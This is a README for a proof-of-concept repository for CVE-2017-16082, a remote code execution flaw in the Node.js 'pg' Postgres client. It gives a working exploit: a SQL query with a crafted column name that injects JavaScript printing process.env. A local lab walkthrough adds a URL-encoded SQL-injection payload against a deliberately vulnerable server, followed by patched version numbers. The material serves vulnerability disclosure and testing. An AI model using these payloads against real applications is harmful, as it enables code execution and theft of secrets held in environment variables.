NodeJS + Postgres (Remote Code Execution) 🛰## CVE-2017-16082
### Overview
Affected versions of `pg` contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.
There are two specific scenarios in which it is likely for an application to be vulnerable:
1. The application executes unsafe, user-supplied sql which contains malicious column names.
2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.
## Proof of Concept
```
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
```
### Remediation
- Version 2.x.x: Update to version 2.11.2 or later.
- Version 3.x.x: Update to version 3.6.4 or later.
- Version 4.x.x: Update to version 4.5.7 or later.
- Version 5.x.x: Update to version 5.2.1 or later.
- Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
- Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )
### Local test 💣
`git clone https://github.com/nulldreams/CVE-2017-16082.git`
`cd CVE-2017-16082`
`npm i && node server.js`
Send a request to `localhost:5000/api/v1/users?id=1`
Result
```json
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
```
Now, send a request using a payload like this `1;SELECT 1 AS "\']=0;console.log(process.env)//"` and encode in [url encoder](https://meyerweb.com/eric/tools/dencoder/)
Final url: `localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22`
```json
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
```
Check the terminal server.
[4.0K] /data/pocs/932526511b781fe47ee6fa5889b7efe3090eb99b
├── [ 406] package.json
├── [ 58K] package-lock.json
├── [2.1K] README.md
├── [7.2K] report.html
├── [ 239] server.js
├── [ 251] single-test.js
└── [4.0K] src
├── [4.0K] config
│ └── [ 166] db.js
├── [4.0K] models
│ ├── [ 734] index.js
│ └── [ 382] user.js
└── [ 889] routes.js
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